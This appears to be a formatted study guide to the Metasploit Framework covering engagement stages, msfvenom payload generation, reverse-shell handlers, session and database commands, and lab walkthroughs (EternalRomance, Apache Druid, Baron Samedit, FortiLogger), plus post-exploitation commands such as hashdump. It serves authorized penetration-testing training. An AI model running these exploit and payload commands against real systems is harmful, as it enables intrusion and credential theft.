

PENETRATION TESTING | TECHNICAL REPORT

METASPLOIT FRAMEWORK

Professional Lab Notes & Reference Guide

Organized reference for authorized penetration-testing and security-lab practice

REPORT SCOPE

- Framework structure, modules and payloads
- Session, job and database management
- Authorized lab walkthroughs and quick reference

CLASSIFICATION

Educational / Authorized Security Testing

Version 1.0 | October 2026

Executive Summary

This report restructures the Metasploit Framework study notes into a professional, portfolio-ready reference. The content is organized around the engagement lifecycle, framework architecture, exploit and payload concepts, session/database management, privilege escalation, and practical lab exercises.

REPORT PROFILE	DETAIL
Primary tool	Metasploit Framework
Discipline	Penetration Testing / Security Operations
Document type	Technical notes + practical lab reference
Environment focus	Authorized labs, CTFs and test systems
Core workflow	Enumeration → Preparation → Exploitation → Privilege Escalation → Post-Exploitation

IMPORTANT - AUTHORIZED USE

The original notes are practical penetration-testing material. Use the procedures, commands and examples only against systems you own or have explicit permission to test. Do not reuse the examples against public or third-party targets.

Document design

- Red callouts identify high-priority or cautionary material.
- Dark code panels separate commands from explanatory text.
- Section banners provide visual hierarchy for GitHub and portfolio review.
- Quick-reference pages consolidate recurring Metasploit commands for revision.

Contents

01	Engagement Structure Lifecycle from enumeration through cleanup
02	Framework Overview Metasploit architecture, directories and components
03	Exploit & Payload Walkthroughs EternalRomance, reverse shells and payload types
04	MSFVenom & Payload Engineering Encoders, output formats and workflow
05	Modules, Sessions, Jobs & Databases Operational framework management
06	Plugins & Saved Data Plugins, workspaces and database access
07	Privilege Escalation Local exploit suggester and escalation labs
08	Practice Labs Apache Druid, Baron Samedit and Meterpreter labs
09	Quick Reference Command tables and revision checklist
10	Notes & Usage Scope, terminology and final disclaimer

01 Engagement Structure

A clean model for planning and executing an authorized penetration test

The original notes divide a Metasploit engagement into five main stages. This is a useful mental model because it keeps reconnaissance, preparation, exploitation and post-exploitation connected as one continuous workflow.

STAGE	PURPOSE
1. Enumeration	Information gathering about the target.
2. Preparation	Setting up tools, payloads and supporting infrastructure.
3. Exploitation	Executing a selected module against a validated vulnerability.
4. Privilege Escalation	Moving from limited access to higher privileges where applicable.
5. Post-Exploitation	Credential gathering, pivoting, data collection and cleanup.

Enumeration

- Passive scanning and active scanning.
- Interacting with services and validating exposed ports.
- Using Nmap / Nessus and service-identification tooling.
- OSINT, Whois and DNS records.

Preparation

- Vulnerability research through CVE databases and vendor material.
- Searching for exploit modules that match the identified service and vulnerability.
- Validating assumptions before execution.
- Importing custom modules when required.

IMPORTANT - VALIDATION BEFORE EXPLOITATION

A finding is not automatically an exploitable condition. Validate the service, version, target context and module requirements before execution.

Exploitation configuration

- Run the selected module locally.
- Set RHOST/RHOSTS, usernames, passwords, proxy or session options as required.
- Choose a compatible target payload.
- Return to enumeration and validation when assumptions do not hold.

Post-Exploitation

- Pivoting to other systems.
- Credential gathering.
- Token impersonation.
- Data collection / exfiltration in an authorized lab.
- Privilege escalation and cleanup.

02 Framework Overview

Metasploit components, directories and operating model

Metasploit Framework is a security-testing platform used by professionals to develop and execute exploits, payloads and post-exploitation modules. The workflow is command-line focused and highly customizable.

COMPONENT	ROLE
Metasploit Framework	Open-source framework containing exploit, payload, auxiliary, post-exploitation and supporting modules.
Metasploit Project	Broader project including framework code, research, documentation and community contributions.
Metasploit Pro	Commercial layer adding web interface, reporting, automation and team-oriented capabilities.

Key framework locations

- Framework modules: `/usr/share/metasploit-framework/modules`
- Plugins: `/usr/share/metasploit-framework/plugins/`
- Scripts: `/usr/share/metasploit-framework/scripts/`
- Tools: `/usr/share/metasploit-framework/tools/`

Tools directory highlights

DIRECTORY	FOCUS
content	Tooling associated with specific exploitation contexts / environments
docs	Documentation and helper scripts
hardware	Tools for interacting with physical hardware
modules	Utilities for developing or managing Metasploit modules
payload	Tools for generating, encoding or handling payloads
dev	Developer utilities for building and testing modules
exploit	Standalone exploit-related helpers
memdump	Memory-dumping utilities
password	Password-attack utilities
recon	Reconnaissance and information-gathering tools

03 Exploit & Payload Walkthroughs

Representative lab workflow and payload concepts

EternalRomance lab walkthrough

The source notes use an authorized lab target exposing SMB on port 445. The workflow demonstrates connectivity validation, service scanning, module selection, parameter configuration and post-exploitation navigation.

LAB CONTEXT

Keep the walkthrough inside an intentionally vulnerable practice environment such as a CTF or test machine. Replace the example target address with an address you are explicitly authorized to use.

Step 1 - connectivity check

```
ping -c 3 10.129.44.105
```

Step 2 - service validation

```
nmap -sV -p 445 10.129.44.105
```

Step 3 - module and options

```
MSFCONSOLE
msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 10.129.44.105
set LHOST <your IP>
run
```

Step 4 - lab shell navigation

```
LAB SHELL
shell
cd C:\Users\Administrator\Desktop
type flag.txt
```

Payload types

TYPE	DESCRIPTION
Singles	All-in-one payload packages.
Stagers	Small initial components that establish a connection back to the tester.
Stages	Larger payload components delivered after the stager, enabling additional functionality.

04 MSFVenom & Payload Engineering

Encoders, formats and reverse-shell concepts

Reverse shell listener example

AUTHORIZED LAB LISTENER

```
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <your IP>
set LPORT 443
run
```

Encoders

- Architecture compatibility across x86/x64/MIPS and similar environments.
- Removal or avoidance of bad characters that may break shellcode.
- Payload transformation that can change signatures; modern endpoint protection may still detect the result.

Common MSFVenom flags

FLAG	MEANING
-a x86	Architecture selection
--platform windows	Target platform
-p <payload>	Payload type
-e x86/shikata_ga_nai	Encoder selection
-i 10	Number of encoding iterations
-b "\x00"	Bad character to avoid
-f exe	Output format
-o output.exe	Output file

IMPORTANT - EVASION CLAIMS

Encoding is not a guarantee of antivirus or endpoint-detection evasion. Treat encoder features as payload transformation / compatibility mechanisms rather than a reliable bypass.

Example payload-generation syntax from the source notes

```
msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=<your IP> LPORT=443 -f exe -o test.exe
```

Payload maker formats

FORMAT	EXAMPLE USE
-f aspx	Windows web shell
-f php	PHP-based web shell
-f exe	Windows executable
-f elf	Linux executable
-f py	Python script

05 Modules, Sessions, Jobs & Databases

Core operational concepts inside msfconsole

Custom module structure

RUBY MODULE SKELETON

```
class MetasploitModule < Msf::Exploit::Remote
  Include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Exploit Name',
      'Description' => 'What it does',
      'Author' => ['your name'],
      'References' => [['CVE', '2019-xxxx']],
      'Platform' => 'php'
    ))
    register_options([
      OptString.new('TARGET_URI', [true, 'Target Path', '/']),
      OptString.new('USERNAME', [true, 'Username', '']),
      OptString.new('PASSWORD', [true, 'Password', ''])
    ])
  end
  def exploit
  end
end
```

Sessions

Sessions represent active connections that can be managed individually.

```
sessions
sessions -i <session no.>
```

Jobs

Jobs are modules running in the background.

```
exploit -J
jobs -l
kill <job no.>
jobs -K
```

Database workflow

```
sudo systemctl start postgresql
sudo msfdb init
sudo msfdb run
msf > db_status
msf > workspace -a MyProjectName
msf > db_nmap -sV <target-IP>
```

06 Plugins & Saved Data

Persistence of lab findings and extensibility

Database views

COMMAND	PURPOSE
hosts	List discovered hosts
services	List discovered services and ports
creds	Display stored credential records
loot	Display captured or collected data records
db_export -f xml backup.xml	Export a workspace backup
workspace MyProjectName	Reopen an existing workspace

Plugin workflow

```
ls /usr/share/metasploit-framework/plugins/  
load <plugin name>  
<plugin name> -help
```

PRACTICE NOTE

Workspaces help keep findings from separate engagements organized. Use a distinct workspace for each lab or client engagement rather than mixing unrelated targets and evidence.

07 Privilege Escalation

Moving from limited access to higher privilege in a lab

The notes describe a post-exploitation pattern in which the initial shell is lower privilege, followed by local vulnerability discovery and an escalation module.

Local Exploit Suggester

```
use post/multi/recon/local_exploit_suggester
set SESSION <session no.>
run
```

Example escalation module from the source notes

```
use exploit/windows/local/ms10_015_kitrap0d
set SESSION <session no.>
set LPORT 1338
run
```

IMPORTANT - PRIVILEGE ESCALATION

A suggested local exploit is only a candidate. Confirm operating-system version, architecture, patch level and module prerequisites before execution. Avoid running escalation modules outside systems you are authorized to test.

08 Practice Labs

Selected exercises from the source notes

Apache Druid exploit lab

The original exercise identifies an Apache Druid service on port 8888, validates it with Nmap, and then searches Metasploit for a matching module.

```
ping -c 3 10.129.203.52
nmap -sV -p 8888 10.129.203.52
msfconsole
search Apache_Druid
use exploit/multi/http/apache_druid_js_rce
```

Baron Samedit / sudo vulnerability lab

The notes reference CVE-2021-3156 (Baron Samedit) as a practice case for identifying an older sudo vulnerability and selecting the appropriate Metasploit workflow.

```
msfconsole
search sudo
use <Baron Samedit module>
set RHOST <authorized lab target>
set LHOST <your IP>
run
```

Meterpreter / FortiLogger exercise

```
nmap -sV -A <authorized lab target>
msfconsole
search fortilogger
use 0
set RHOSTS <target>
set LHOST <your IP>
exploit
```

LAB DISCIPLINE

For portfolio publication, remove real client addresses, credentials, tokens, internal hostnames and other sensitive evidence. Replace them with placeholders such as .

09 Quick Reference

Revision sheet for recurring Metasploit commands

Database commands

```
db_status # Check DB connection
workspace -a Name # Create workspace
db_nmap -sV <IP> # Scan and save to DB
hosts # List hosts
services # List services
creds # Saved credentials
loot # Captured data
db_export -f xml backup.xml
workspace Name # Load old workspace
```

Session & job commands

```
sessions
sessions -i N
exploit -J
jobs -l
kill N
jobs -K
```

Exploit configuration

```
use <module>
show options
set RHOSTS <IP>
set LHOST <IP>
set LPORT 443
run / exploit
sessions
background
```

Post-exploitation reference

```
getpid
ps
migrate PID
hashdump
sysinfo
getuid
shell
upload / download
```

10 Notes & Usage

Document controls, terminology and final guidance

Portfolio presentation guidance

- Keep report filenames descriptive and versioned.
- Use screenshots only from systems you are permitted to document.
- Redact IP addresses, usernames, tokens and other sensitive artifacts before publishing.
- Pair the PDF with a concise README.md and a screenshots/ directory on GitHub.

Terminology note

The source notes were originally handwritten/digitized training material. During redesign, headings, punctuation, spacing and obvious formatting inconsistencies were normalized. Technical examples were retained as supplied, with placeholders used where publication would otherwise expose target-specific details.

FINAL DISCLAIMER

These notes are for educational and authorized penetration-testing use only. The reader is responsible for obtaining permission before testing any system, network, device or application.

End of Report

Metasploit Framework - Professional Lab Notes & Reference Guide